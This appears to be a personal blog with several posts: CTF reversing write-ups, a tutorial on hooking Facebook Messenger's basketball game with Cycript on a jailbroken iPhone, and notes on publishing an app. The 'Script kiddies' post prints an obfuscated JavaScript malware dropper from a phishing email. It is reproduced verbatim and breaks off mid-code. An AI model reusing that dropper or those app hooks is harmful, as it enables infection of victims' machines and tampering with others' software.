CTF competitions

CTF competitions are fun activities to test your self. However sometimes due to nature of CTF or the vague answers this leads to complete chaos. Yesterday I tried to have some fun with some reversing tasks in https://www.dkhoctf.com I firstly tried first mobile question. I use iOS but binary was in android. My only chance was emulators and static analysis and found out that program gets user input reverse the text and use this text as a key and to decrypt “encrypted” file in raw folder. Upon decryption if the file is correctly decrypted, image is shown. CTF picture was showing a scene from a movie name G.O.R.A When you check that scene you will see that name of the ship “KA-FA 1500”. However, we need to enter it backwards for program to accept. I you enter 0051 AF-AK, program accepts the input and shows us a picture.

decrypted

It was clearly saying Flag{Uf0_GOr3n_M4sum_K0ylu}. Yay we did it. Did we?

I entered all text, with the flag without the flag, with or without l33t text I even tried name of the actor, the name that appears on that scene, KA-FA 1500 and 0051 AF-AK. Nope it doesn’t accept. There is only one password to unlock the picture program accepts it, gives me the flag. But web site doesn’t accept it. I don’t know I guess there are still some questions to answer but couldn’t find. I thought maybe there is extra stuff hidden in the file and I wrote a decryptor to check the file.

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.Key;
import java.security.spec.AlgorithmParameterSpec;
import java.security.MessageDigest;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;

class Decryptor {
	public static byte[] reverse(byte[] bArr, byte[] bArr2, byte[] bArr3) {
		try {
			AlgorithmParameterSpec ivParameterSpec = new IvParameterSpec(bArr);
			Key secretKeySpec = new SecretKeySpec(bArr2, "AES");
			Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
			instance.init(2, secretKeySpec, ivParameterSpec);
			return instance.doFinal(bArr3);
		}
		catch (Exception e){
			System.out.println(e);
		}
		return null;
	}

	public static byte[] getBytesFromFile(File file)  {
		FileInputStream fileInputStream = null;
		byte[] bFile = new byte[(int) file.length()];
		try {
			fileInputStream = new FileInputStream(file);
			fileInputStream.read(bFile);
			fileInputStream.close();
		}
		catch (Exception e)
		{
			e.printStackTrace();
		}
		return bFile;
	}

	public static void main(String[] args) {
		String str = "KA-FA 1500";
		File file = new File("encrypted");
		byte[] sourceImg = getBytesFromFile(file);
		byte[] iv = new byte[]{(byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0, (byte) 0};
		try {
			byte[] result = reverse(iv,MessageDigest.getInstance("MD5").digest(str.getBytes()),sourceImg);
			File outputFile = new File("decrypted.bmp");
			FileOutputStream outputStream = new FileOutputStream(outputFile);
			outputStream.write(result);
		}  catch (Exception e) {
			e.printStackTrace();
		}
	}
}

It is a basic bitmap file and there was not much inside. No matter what I did, web site didn’t accept the flag. I lost. Strike 1

OK. I thought maybe I was not good enough to solve this one. Next reversing task is #17 Roots. File is packed. No problem unpack and decompile with ILSpy. Here is the important parts of code

public static byte[] StringToByteArray(string hex) {
return (from x in Enumerable.Range(0, hex.Length) where x % 2 == 0 select Convert.ToByte(hex.Substring(x, 2), 16)).ToArray < byte > ();
}

private static bool run1(byte input) {
return Convert.ToBoolean((int)(input * input) - 374 * (int) input + 34969);
}

public static bool run(byte[] input) {
bool flag = Form1.run1(input[0]);
bool flag2 = Form1.run2(input[1]);
bool flag3 = Form1.run3(input[2]);
bool flag4 = Form1.run4(input[3]);
bool flag5 = Form1.run5(input[4]);
bool flag6 = Form1.run6(input[5]);
bool flag7 = Form1.run7(input[6]);
bool flag8 = Form1.run8(input[7]);
bool flag9 = Form1.run9(input[8]);
bool flag10 = Form1.run10(input[9]);
bool flag11 = Form1.run11(input[10]);
bool flag12 = Form1.run12(input[11]);
bool flag13 = Form1.run13(input[12]);
bool flag14 = Form1.run14(input[13]);
bool flag15 = Form1.run15(input[14]);
bool flag16 = Form1.run16(input[15]);
return !flag && !flag2 && !flag3 && !flag4 && !flag5 && !flag6 && !flag7 && !flag8 && !flag9 && !flag10 && !flag11 && !flag12 && !flag13 && !flag14 && !flag15 && !flag16;
}

private static bool run4(byte input) {
return Convert.ToBoolean((int)(input * input - 242 * input) + 14641);
}

private static bool run2(byte input) {
return Convert.ToBoolean((int)(input * input - 56 * input) + 784);
}

private static bool run3(byte input) {
return Convert.ToBoolean((int)(input * input) - 358 * (int) input + 32041);
}

private static bool run5(byte input) {
return Convert.ToBoolean((int)(input * input - 172 * input) + 7396);
}

private static bool run6(byte input) {
return Convert.ToBoolean((int)(input * input) - 312 * (int) input + 24336);
}

private static bool run7(byte input) {
return Convert.ToBoolean((int)(input * input - 228 * input) + 12996);
}

private static bool run8(byte input) {
return Convert.ToBoolean((int)(input * input) - 324 * (int) input + 26244);
}

private static bool run9(byte input) {
return Convert.ToBoolean((int)(input * input) - 470 * (int) input + 55225);
}

private static bool run10(byte input) {
return Convert.ToBoolean((int)(input * input - 156 * input) + 6084);
}

private static bool run11(byte input) {
return Convert.ToBoolean((int)(input * input - 202 * input) + 10201);
}

private static bool run12(byte input) {
return Convert.ToBoolean((int)(input * input) - 368 * (int) input + 33856);
}

private static bool run13(byte input) {
return Convert.ToBoolean((int)(input * input) - 434 * (int) input + 47089);
}

private static bool run14(byte input) {
return Convert.ToBoolean((int)(input * input) - 418 * (int) input + 43681);
}

private static bool run15(byte input) {
return Convert.ToBoolean((int)(input * input) - 500 * (int) input + 62500);
}

private static bool run16(byte input) {
return Convert.ToBoolean((int)(input * input - 174 * input) + 7569);
}
private void button1_Click(object sender, EventArgs e) {
string text = this.textBox1.Text;
if (text.Length != 32 || text.Length % 2 != 0) {
Environment.Exit(0);
}
byte[] input = Form1.StringToByteArray(text);
if (Form1.run(input)) {
this.textBox1.Text = "Tebrikler";
}
}

User input is checked for 32 chars and then it is converted to hex which makes 16 byes. Each byte is run against a function and result is returned. Result of each function must be false so that their combined result makes it true. When you check functions you will realize that it is basic (x-y)^2 = 0 when you solve those functions and combine you will get BB1CB379569C72A2EB4E65B8D9D1FA57. I entered this text to program. It accepted it. I put this answer to CTF web site. Nope it doesn’t accept. Maybe lower case? Nope it doesn’t accept. I really don’t understand why someone checks the length for 32 chars and then checks whether length is divisible by 2. Isn’t 32 divisible by 2? I don’t know maybe it is part of the question. I failed again. Strike 2

I realized that maybe I am not good enough and tried to test something that lots of people solved. It is #11 which was basic barcode. I decoded the barcode got 8690624303612 as number. I searched with google. Result was Çerezza Tv Süt Mısiri Aroma Çeşnili Mısır Çerezi 65 gr. I tried different combinations with small caps just brand, brand with name, with or without Turkish letters. Nope I couldn’t make it. I was just tired of solving stupid google captchas. Strike 3. I am out.

I lost three times and realized that I am not good enough to solve any question in this CTF. Anyway, it was a good lesson for me that I should never waste my time in CTFs which doesn’t have clear answers.

EDIT:
Finally I was able solve them Here are the mistakes
1. In the image it was showing as Flag{Uf0_GOr3n_M4sum_K0ylu}
it was not Flag but flag. Why? No idea
2.Even though picture clearly shows O letter in GOr3en it should be number 0. Why? No freaking idea again.

After I correctly put the answers, I decided to go for another spin and tried to solve couple of RCE stuff. I half solved couple of them missed Base32 decoding one lol. Anyway, I liked solving WhatsApp encrypted chat and,iOS RCE. However my favorite was iOS. Since I am quite familiar with iOS, when I read the question it made sense to me. We know that audit is made before the login of actual user. So by checking what is recorded for previous user, we can find the algorithm and extract the information. When you download the zip file, you have following files.

keychaindump.txt
Dump from iOS keychain. Nothing much inside but we find following information

Generic Password
—————-
Service: com.ohkd.ftc
Account: keychainValue
Entitlement Group: 5A564.com.ohkd.ftc
Label: (null)
Generic Field: (null)
Keychain Data: g4r4v3lust4

/Documents/com.ohkd.ftc.plist
LJ/T+9cC6sJjKD5KMXB94+Yy02QxXaDomZwiv4rxAU9eK8cpYNw/hFSsbUy0b3StoIPNaqGHnzxvHU8uuwWVFw==
Hex: 2C9FD3FBD702EAC263283E4A31707DE3E632D364315DA0E8999C22BF8AF1014F5E2BC72960DC3F8454AC6D4CB46F74ADA083CD6AA1879F3C6F1D4F2EBB059517

/Library/
introspy-com.ohkd.ftc.db SQLite Database for pentest result

CC_SHA256

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>arguments</key>
	<dict>
		<key>data</key>
		<data>
		azBtdXQ0bmwwZzRy
		</data>
		<key>md</key>
		<data>
		YmE0NGE0ZTBjYzIzNjFlNjE5Y2QwMTNmZDRiMzk0M2QyM2E5ZTRiNGU4OGQwMDgxMTkxMjU2ZTJkYTRhMWI4Nw==
		</data>
	</dict>
	<key>returnValue</key>
	<integer>71104280</integer>
</dict>
</plist>

Base64Decode(azBtdXQ0bmwwZzRy) = k0mut4nl0g4r
Base64Decode(YmE0NGE0ZTBjYzIzNjFlNjE5Y2QwMTNmZDRiMzk0M2QyM2E5ZTRiNGU4OGQwMDgxMTkxMjU2ZTJkYTRhMWI4Nw==) = ba44a4e0cc2361e619cd013fd4b3943d23a9e4b4e88d0081191256e2da4a1b87 = sha-256(k0mut4nl0g4r)

This log shows that SHA256 of key is taken

CCCrypt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>arguments</key>
	<dict>
		<key>alg</key>
		<integer>0</integer>
		<key>dataIn</key>
		<data>
		ZfQ8h4alDhIdBii3WYZnVVmlf3LzOSOZsmQGx4AhDcs=
		</data>
		<key>dataOut</key>
		<data>
		QXJpZkNla3UyMDA0
		</data>
		<key>iv</key>
		<data>
		AAAAAAAAAAAAAAAAAAAAAA==
		</data>
		<key>key</key>
		<data>
		YmE0NGE0ZTBjYzIzNjFlNg==
		</data>
		<key>op</key>
		<integer>1</integer>
		<key>options</key>
		<integer>1</integer>
	</dict>
	<key>returnValue</key>
	<integer>0</integer>
</dict>
</plist>

dataIn: Encrypted blob
Base64Decode(dataOut): ArifCeku2004
Base64Decode(key) : ba44a4e0cc2361e6
Base64Decode(iv) : Hex(000000000000000)

As you can see it clearly, SHA-256 hash of key is used for the key. Since CCCrypt is a wrapper function for many cryptography functions, we need to find the algorithm, and other options used inside.

If you check CCCrypt function signature you will find below header

CCCryptorStatus CCCrypt(
    CCOperation op,         /* kCCEncrypt, etc. */
    CCAlgorithm alg,        /* kCCAlgorithmAES128, etc. */
    CCOptions options,      /* kCCOptionPKCS7Padding, etc. */
    const void *key,
    size_t keyLength,
    const void *iv,         /* optional initialization vector */
    const void *dataIn,     /* optional per op and alg */
    size_t dataInLength,
    void *dataOut,          /* data RETURNED here */
    size_t dataOutAvailable,
    size_t *dataOutMoved)
    __OSX_AVAILABLE_STARTING(__MAC_10_4, __IPHONE_2_0);
 

alg 0 –> kCCAlgorithmAES
op 1 –> kCCDecrypt
options 1 –> kCCOptionPKCS7Padding (CBC Mode)

Let’s prepare our data for this function.

SHA-256(g4r4v3lust4) = 844ea03c23622f5bd6be95a369b336781f9f322aa7e33afa8ef1485f712d89b8 so;
key: 844ea03c23622f5b
iv: 00000000000000000000000000000000
dataIn:2C9FD3FBD702EAC263283E4A31707DE3E632D364315DA0E8999C22BF8AF1014F5E2BC72960DC3F8454AC6D4CB46F74ADA083CD6AA1879F3C6F1D4F2EBB059517

According to this information, data is decrypted. If you don’t have any tools to test, you may test this code via following web site

http://aes.online-domain-tools.com/

Input Text: 2C9FD3FBD702EAC263283E4A31707DE3E632D364315DA0E8999C22BF8AF1014F5E2BC72960DC3F8454AC6D4CB46F74ADA083CD6AA1879F3C6F1D4F2EBB059517
Tick Hex
Function: AES
Mode: CBC
Key: 844ea03c23622f5b
Tick Plain
IV: 00000000000000000000000000000000

Hit Decrypt button
You will get RmxhZ3twZmYuLiAzdjNuIEZCSSBjNG4gZjFuZCB0aDFzfQ== when you Base64 decode it finally we get the flag
Flag{pff.. 3v3n FBI c4n f1nd th1s}

Since I failed in the first challenge all went down the hill because I really didn’t know what was wrong.I wish I could spend much time on challenges instead of wasting my time on single one. Is it too much to ask to check your questions before you post? Smh.

How to play basketball like a pro

Do you know what I hate most? People who brags their achievements on Facebook. I can chew a gum and walk at the same time. I never bragged about it on Facebook though. Anyway, recently I saw lots of people posting screenshots of FaceBook Messenger’s basketball game scores. (If you don’t know, you can activate the game by sending basketball emoji 🏀 to yourself) I tried to play that game by myself, and found out that this game is pretty hard for me. I am competitive and I like challenges. How about fixing this game so that no matter what, everything will be perfect basket?

Preparation

In order to experiment with iOS binaries you must be jailbroken. Otherwise you will be limited to static analysis and you will have a hard time to do anything useful. In order to follow this tutorial, you must be jailbroken and able to SSH to your device. You can use this short tutorial to enable SSH access. If you are on Windows, use Putty to SSH to your phone. First thing is dumping class methods of Messenger’s binary. You can get the tools from iPhone Dev Wiki

I class dumped the binaries and found following interesting methods

-[MNBballScene setRimXVelocityMagnitude:]
-[MNBballScene setRimYVelocityMagnitude:]
-[MNBballScene readyBall]
-[MNBballScene readyBallAtRandomPosition]
-[MNBballScene _readyBallAtPosition:]
-[MNBballScene flingBallWithXVelocity:yVelocity:]
-[MNBballScene ballX]
-[MNBballScene ballY]
-[MNBballScene rimX]
-[MNBballScene rimY]
-[MNBballScene rimXVelocity]
-[MNBballScene rimYVelocity]
-[MNBballView bballGameBallIsReady:]
-[MNBballView bballGameBallHitRim:]
-[MNBballView bballGameMissedShot:]
-[MNBballView bballGameScored:]

Method names are pretty self explanatory. When you flick your finger, ballVelocityX and ballVelocityY are calculated. Around 0,65 seconds later you either hit the rim or score. Motion of the ball looks like a projectile motion. However, I found out that it is basically an illusion due to animation. In order to find out the logic of the game and possibly exploit it, we need access to raw data for successful hits.

We need a tool to live debug the app. There are basically two tools with scripting capabilities for these purposes. Frida and Cycript. I personally like Frida more but due to some bugs related to iOS, I used Cycript for this experiment. Cycript is a tool to inject javascript code in to live iOS process. It is created by saurik, I guess he doesn’t need an introduction. First of all, open Cydia and install Cycript. In order to test, SSH to your iPhone and type cycript. If you see cy# you are ready for the next step.

What makes basket a good basket?

I wanted to see what makes a good shot without touching the rim. Because when you hit the rim, your score is based on luck. I wanted to eliminate any luck factor.

Create a file named stats.cy with below contents and upload to your iPhone (/var/root)

What is the explanation of this file?

First we hook the function named -[MNBballScene flingBallWithXVelocity:yVelocity:] . In order to hook a function with Mobile Substrate you use following notation

var old_method_pointer = {};
MS.hookMessage(CLASSNAME, @selector(METHODNAME:), function(arguments) {
return old_method_pointer->call(this,arg0);
},old_method_pointer)

As you can see from the signature of this function, it takes two parameters(count colons) so our hook function becomes

MS.hookMessage(MNBballScene, @selector(flingBallWithXVelocity:yVelocity:),
//rest of the function body

In this function, we have all properties of the class. We get crucial properties of this class by using this syntax. Open Messenger, activate basketball game and switch back to your SSH session..If you are on cycript session, quit the session by typing :q. If you uploaded stats.cy to your device, type this commands one by one

cycript -p Messenger stats.cy
cycript -p Messenger

So when I fling the ball, I record every parameter of the shot.  If ball hits the rim, I increase hitRimCounter. I only log the record set, when we score without hitting the rim. Since when you hit the rim, result depends on luck. I played the game for a while and tried to score. It was pretty hard since I suck at games. My highest score was 26 I guess😀 After I played for a while, I switched back to my terminal. My cycript session was on. I typed log to see the contents of statistics. I quit cycript session by typing :q on console.  I first thought to use neural networks to tackle this problem. Due to nature of this data, it needed to be normalized, must be trained well etc. So I changed my mind and exported this data to spreadsheet file and tried to find some relations between input and output.

First attempt

From the data it is obvious that BallVelocityY doesn’t play much role on the success rate. What ever the distance, same BallVelocityY can be used for the fling. Therefore instead of finding both BallVelocityX and BallVelocityY, I fixed BallVelocityY as -900. I then realized that when you divide BallVelocityX to BallVelocityY, you get a result which is very close to the position of ball. Let’s test our idea. If you have cycript session, type :q to exit the session, which will also shutdowns the Messenger process.Create step1.cy with below content and upload to /var/root again

Again open the Messenger, activate the game and load step1.cy to Messenger process.

cycript -p Messenger step1.cy
cycript -p Messenger

Fling the ball. Wow! Much amazed! You will always score no matter how you fling the shot. When you pass 10, rim starts to move in X axis and after 30 it moves in both.

Getting a high score

If you just want a high score, we can prevent Rim to move in any direction so our script will work always. Just like previous one quit session, load step2.cy and play the game.

cycript -p Messenger step2.cy
cycript -p Messenger

By hooking setRimXVelocityMagnitude and setRimYVelocityMagnitude, this script always sets the speed of rim to 0. Therefore, rim will not move at all regardless of your score.

Perfecting the script

I wanted more because just showing off high score was not enough. People must see how it is done live. If you check my recorded log, RimVelocityX tells the magnitude and direction of the movement and rimX tells the position of rim. So we must also use RimVelocityX and rimX after we pass 10. I wish I could tell you how I came up with those numbers and throw you some fancy graphics. However, it was just basic try and error until I reached below script. Again, just like above, quit Cycript session, activate step3.cy and play the game.

cycript -p Messenger step3.cy
cycript -p Messenger

After 30 it gets harder because rim moves both in X and Y axis. However, script magically handles this. Since BallVelocityY doesn’t have much affect. It is there just for an illusion. Script of course doesn’t handle edge cases. Pun intended. You must try to fling the ball when it is not near the edge of screen. Because when backboard hits the edge of screen, direction of rim changes which invalidates the calculation. So if you are careful, you can easily score without missing a shot. When I was testing I reached 101 and then I stopped because I got bored.

Look Ma, no hands

Then I thought, maybe I should let the game play itself. -[MNBballScene rimX]  is a getter function which is used to get position of rim on X axis. Next script hooks this function and checks whether rimX is in safe range for a shot. When everything is right, shot is fired.

cycript -p Messenger step4.cy
cycript -p Messenger

Again shutdown your cycript session and activate step4.cy as before and just fling the ball once and watch the game play itself😀 It is pretty amazing to see that in action. So I recorded that part for your entertainment.

I guess that is all folks. If you find any error, or have improvements for the code, please comment below.

 

App Store Drama

I released my app Find My Parcel about a month ago. I will to try write all the problems I have encountered and how to solve them. Mostly.

When I first released the app, program was getting 10-20 downloads per day. It was not much but it was giving me a feeling that what I did was working. In first days, all reviews were positive. When I first saw my first purchase from UK, I guess  I was jumping to moon back and forth. Then something unexpected happen.

As usual I was checking my stats with Fabric Answers. (I highly recommend integrating Crashlytics and Answers) I saw that my download stats were going crazy. I mean crazy according to me. I was getting like 40 downloads in a minute. What did happen? When I told my brother he told me “Your app is on Turkish App Store’s main page” Whaaaaaaaaaat?

Read More »

App Store Macerası

Yaklaşık bir ay önce Kargom Nerde programını yayınladım. Bu yazımda size hangi problemlerle nelerle karşılaştığımı ve bunlara nasıl çözüm bulduğumu veya bulamadığımı anlatacağım. Program ilk yayınlandığı zamanlar günde 20-30 kişi tarafından indiriliyordu. Gelen yorumların hepsi olumluydu. Ben de mutlu mesut iyi bir iş yaprığımı düşünmeye başlamıştım. Hatta ingiltered birisi programı satın aldığında herhalde ağzım kulaklarıma varmıştı. Sonra beklenmeyen bir şey oldu.

Evde klasik her zaman olduğu gibi bugün kaç kişi download etmiş diye bakıyordum. Birden program deli gibi indirilmeye başlandı. Deli gibi dediğim bana göre deli gibi. Birden kullanıcı sayısı 40 olmuştu. Allah Allah, ne olmuştu ki? Kardeşime bunu söylediğimde bana şunu dedi “Abi programın App Store un ana sayfasında” Anaaaaaaaaaa

Read More »

Script kiddies

Today, I got an email to my findmyparcel marketing email address. It was like below,

Dear Customer,

This is to confirm that one or more of your parcels has been shipped.
Please, open email attachment to print shipment label.

Thank you for choosing FedEx,
Thomas Barlow,
FedEx Operation Manager.

First I thought maybe some user entered wrong email and I was about to delete it. Then I looked at email address thomas.barlow@chanchan.wperu.com Yeah right it definitely looks like email address of FedEx Operation Manager. I decided to check what it is just for fun. We open the zip file and we have this file;

Delivery_Notification_00000301441.doc.js

I guess our script kiddie want me to double click that file. Let’s not do that and check what is inside the file.

var str="5557515E020D0A00091D14051607010824091117100502050011164A070B09";function xirf317018() { return 'ject('; }; function xirf534300() { return ' { '; }; function xirf359762() { return 'tech'; }; function xirf598416() { return ' ws.'; }; /* var x=xirf980271(); */ function xirf584168() { return '(fn'; }; function xirf559234() { return 'n ='; }; /* var x=xirf562393(); */ /* var x=xirf105198(); */ /* var x=xirf353489(); */ function xirf210158() { return 'MP%"'; }; function xirf46306() { return 'm a1'; }; function xirf655408() { return '; tr'; }; function xirf740896() { return '.sen'; }; function xirf149604() { return 'Obje'; }; function xirf320580() { return '"M'; }; function xirf445250() { return 'veXOb'; }; function xirf231530() { return 'ode('; }; /* var x=xirf975866(); */ function xirf512928() { return 'Body)'; }; function xirf580606() { return 'ile'; }; /* var x=xirf819551(); */ /* var x=xirf219377(); */ function xirf146042() { return 'veX'; }; function xirf523614() { return 'size '; }; function xirf815698() { return '(3373'; }; /* var x=xirf582230(); */ /* var x=xirf410993(); */ /* var x=xirf356760(); */ function xirf185224() { return 'Exp'; }; function xirf762268() { return ' if ('; }; function xirf21372() { return ' var'; }; /* var x=xirf896113(); */ /* var x=xirf391280(); */ /* var x=xirf732917(); */ /* var x=xirf369494(); */ function xirf591292() { return ' t'; }; /* var x=xirf390258(); */ /* var x=xirf969816(); */ function xirf527176() { return '&gt; '; }; /* var x=xirf394783(); */ function xirf577044() { return 'oF'; }; /* var x=xirf483034(); */ /* var x=xirf209762(); */ function xirf142480() { return 'Acti'; }; function xirf39182() { return 'now'; }; function xirf199472() { return 'Strin'; }; /* var x=xirf244315(); */ /* var x=xirf686414(); */ /* var x=xirf862515(); */ /* var x=xirf286189(); */ function xirf455936() { return 'B.Str'; }; /* var x=xirf165805(); */ function xirf203034() { return 'gs'; }; function xirf213720() { return ')+Str'; }; /* var x=xirf679874(); */ function xirf420316() { return 'us =='; }; /* var x=xirf198241(); */ /* var x=xirf581270(); */ /* var x=xirf854046(); */ function xirf174538() { return 'r f'; }; function xirf708838() { return 'fr+'; }; /* var x=xirf282941(); */ function xirf92612() { return ' ")'; }; function xirf626912() { return ' {'; }; function xirf292084() { return '= 0; '; }; function xirf220844() { return 'fr'; }; /* var x=xirf286314(); */ function xirf309894() { return 'ctiv'; }; /* var x=xirf970989(); */ /* var x=xirf596384(); */ function xirf327704() { return '.X'; }; /* var x=xirf790806(); */ function xirf96174() { return '; for'; }; function xirf413192() { return 'o.'; }; /* var x=xirf211360(); */ /* var x=xirf228456(); */ /* var x=xirf962983(); */ /* var x=xirf597292(); */ /* var x=xirf505582(); */ function xirf74802() { return 'etic'; }; function xirf349076() { return 're'; }; /* var x=xirf385182(); */ /* var x=xirf199423(); */ function xirf694590() { return 'en'; }; function xirf110422() { return 'i&lt;b'; }; /* var x=xirf225853(); */ function xirf192348() { return 'viro'; }; function xirf790764() { return '; '; }; function xirf281398() { return '"; va'; }; /* var x=xirf969798(); */ /* var x=xirf381112(); */ function xirf726648() { return ' fal'; }; /* var x=xirf264375(); */ /* var x=xirf491134(); */ /* var x=xirf962806(); */ function xirf299208() { return ' xo'; }; function xirf470184() { return 'op'; }; /* var x=xirf782648(); */ function xirf277836() { return '.exe'; }; function xirf801450() { return ' d'; }; function xirf121108() { return 'i++'; }; function xirf484432() { return 'e = 1'; }; /* var x=xirf768019(); */ /* var x=xirf491251(); */ function xirf548548() { return 'a.po'; }; /* var x=xirf255049(); */ /* var x=xirf167838(); */ function xirf537862() { return 'dn'; }; /* var x=xirf491655(); */ /* var x=xirf547718(); */ /* var x=xirf521030(); */ /* var x=xirf915279(); */ /* var x=xirf733400(); */ function xirf17810() { return ' {'; }; function xirf245778() { return 'd('; }; /* var x=xirf867379(); */ /* var x=xirf851681(); */ function xirf113984() { return '.len'; }; /* var x=xirf267316(); */ /* var x=xirf796612(); */ function xirf758706() { return ' {};'; }; function xirf163852() { return 't.Sh'; }; function xirf634036() { return '}; '; }; function xirf780078() { return 'k;'; }; /* var x=xirf886372(); */ function xirf3562() { return 'funct'; }; /* var x=xirf411161(); */ /* var x=xirf770704(); */ function xirf274274() { return '0)+"'; }; /* var x=xirf474969(); */ function xirf124670() { return ') '; }; /* var x=xirf274802(); */ /* var x=xirf981930(); */ /* var x=xirf482107(); */ /* var x=xirf217746(); */ function xirf644722() { return 'se('; }; /* var x=xirf965151(); */ /* var x=xirf861108(); */ function xirf341952() { return 'o.'; }; function xirf242216() { return '.roun'; }; function xirf562796() { return ' 0'; }; function xirf438126() { return 'ew'; }; function xirf441688() { return ' Acti'; }; /* var x=xirf807747(); */ /* var x=xirf568040(); */ /* var x=xirf117020(); */ function xirf808574() { return '4892)'; }; function xirf480870() { return 'a.typ'; }; /* var x=xirf137425(); */ function xirf605540() { return 'fn,1,'; }; /* var x=xirf141289(); */ function xirf243() { return 'eval'; };&nbsp; function xirf10686() { return 'dl(f'; }; /* var x=xirf830221(); */ /* var x=xirf709589(); */ /* var x=xirf564031(); */ function xirf509366() { return 'se'; }; function xirf751582() { return 'tch'; }; /* var x=xirf294385(); */ function xirf797888() { return '31);'; }; function xirf295646() { return 'var'; }; /* var x=xirf853755(); */ /* var x=xirf399699(); */ /* var x=xirf761370(); */ /* var x=xirf484679(); */ function xirf81926() { return 'om"'; }; function xirf755144() { return ' (er)'; }; function xirf776516() { return 'ea'; }; /* var x=xirf910394(); */ function xirf794326() { return 'dl(57'; }; /* var x=xirf895383(); */ /* var x=xirf751068(); */ /* var x=xirf215107(); */ /* var x=xirf845211(); */ /* var x=xirf523342(); */ /* var x=xirf517439(); */ /* var x=xirf135611(); */ /* var x=xirf305502(); */ /* var x=xirf315279(); */ /* var x=xirf328987(); */ function xirf370448() { return 'uncti'; }; /* var x=xirf433343(); */ /* var x=xirf322148(); */ function xirf520052() { return ' (xa.'; }; /* var x=xirf710953(); */ /* var x=xirf131654(); */ /* var x=xirf420061(); */ function xirf473746() { return 'en('; }; /* var x=xirf673468(); */ /* var x=xirf712261(); */ function xirf288522() { return 'dn '; }; /* var x=xirf646149(); */ function xirf662532() { return ' xo.o'; }; function xirf270712() { return '00000'; }; /* var x=xirf469659(); */ /* var x=xirf153340(); */ /* var x=xirf522896(); */ /* var x=xirf411414(); */ function xirf630474() { return '}; '; }; function xirf252902() { return 'ra'; }; /* var x=xirf425783(); */ function xirf544986() { return ' 1; x'; }; function xirf744458() { return 'd();'; }; function xirf819260() { return ');'; }; function xirf138918() { return 'new '; }; function xirf103298() { return 'var '; }; function xirf42744() { return '.co'; }; /* var x=xirf753708(); */ /* var x=xirf393386(); */ /* var x=xirf661677(); */ /* var x=xirf440064(); */ function xirf516490() { return '; if'; }; /* var x=xirf667133(); */ /* var x=xirf687932(); */ /* var x=xirf344194(); */ function xirf338390() { return '"); x'; }; /* var x=xirf946301(); */ /* var x=xirf587838(); */ function xirf434564() { return 'a = n'; }; function xirf452374() { return '"ADOD'; }; function xirf569920() { return 'xa.s'; }; function xirf28496() { return '"id'; }; /* var x=xirf939410(); */ function xirf334828() { return 'TTP'; }; function xirf89050() { return 't("'; }; function xirf669656() { return 'GE'; }; function xirf612664() { return ' }'; }; function xirf805012() { return 'l('; }; function xirf730210() { return 'se'; }; function xirf409630() { return '&amp; x'; }; /* var x=xirf874745(); */ /* var x=xirf188421(); */ /* var x=xirf816533(); */ /* var x=xirf397395(); */ function xirf431002() { return 'ar x'; }; /* var x=xirf664167(); */ /* var x=xirf772626(); */ /* var x=xirf839624(); */ function xirf53430() { return 'ic'; }; /* var x=xirf622998(); */ /* var x=xirf632817(); */ /* var x=xirf658429(); */ /* var x=xirf579000(); */ function xirf313456() { return 'eXOb'; }; /* var x=xirf762658(); */ var x = ''; /* var x=xirf818842(); */ function xirf502242() { return '.Re'; }; function xirf398944() { return 'e =='; }; /* var x=xirf156838(); */ /* var x=xirf588298(); */ /* var x=xirf832829(); */ function xirf384696() { return '(xo.r'; }; function xirf637598() { return 'xa'; }; /* var x=xirf857774(); */ function xirf459498() { return 'eam")'; }; /* var x=xirf907658(); */ /* var x=xirf463741(); */ function xirf260026() { return 'om('; }; /* var x=xirf444379(); */ function xirf56992() { return 'e.net'; }; /* var x=xirf875856(); */ /* var x=xirf593438(); */ /* var x=xirf833110(); */ function xirf24934() { return ' b = '; }; function xirf573482() { return 'aveT'; }; /* var x=xirf771777(); */ function xirf737334() { return 'xo'; }; /* var x=xirf725214(); */ /* var x=xirf906715(); */ function xirf395382() { return 'at'; }; function xirf541424() { return ' ='; }; function xirf181662() { return ' ws.'; }; function xirf7124() { return 'ion '; }; /* var x=xirf150565(); */ /* var x=xirf629534(); */ /* var x=xirf496983(); */ function xirf648284() { return ');'; }; function xirf715962() { return 'd="'; }; function xirf719524() { return '+st'; }; /* var x=xirf377729(); */ function xirf374010() { return 'on() '; }; function xirf235092() { return '92)'; }; /* var x=xirf736087(); */ /* var x=xirf682033(); */ function xirf170976() { return '; va'; }; /* var x=xirf841753(); */ /* var x=xirf883225(); */ function xirf67678() { return 'ibras'; }; function xirf555672() { return 'io'; }; function xirf331266() { return 'MLH'; }; /* var x=xirf219027(); */ /* var x=xirf242528(); */ function xirf623350() { return ' (er)'; }; /* var x=xirf617417(); */ /* var x=xirf297986(); */ /* var x=xirf939382(); */ /* var x=xirf175917(); */ function xirf135356() { return ' = '; }; function xirf491556() { return 'xa.wr'; }; function xirf448812() { return 'ject('; }; /* var x=xirf564242(); */ function xirf352638() { return 'ad'; }; function xirf99736() { return ' ('; }; function xirf391820() { return 'ySt'; }; function xirf324142() { return 'SXML2'; }; function xirf263588() { return ')*1'; }; function xirf249340() { return 'Math.'; }; /* var x=xirf992112(); */ /* var x=xirf438590(); */ /* var x=xirf877591(); */ function xirf609102() { return '0);'; }; function xirf566358() { return '; '; }; /* var x=xirf478884(); */ function xirf377572() { return '{ '; }; /* var x=xirf420926(); */ function xirf765830() { return 'dn '; }; function xirf227968() { return 'harC'; }; /* var x=xirf437251(); */ /* var x=xirf367852(); */ function xirf587730() { return ',2);'; }; /* var x=xirf747740(); */ function xirf366886() { return 'e = f'; }; function xirf71240() { return 'int'; }; function xirf748020() { return ' } ca'; }; /* var x=xirf369017(); */ function xirf427440() { return ') { v'; }; /* var x=xirf405054(); */ /* var x=xirf805549(); */ /* var x=xirf611391(); */ function xirf156728() { return 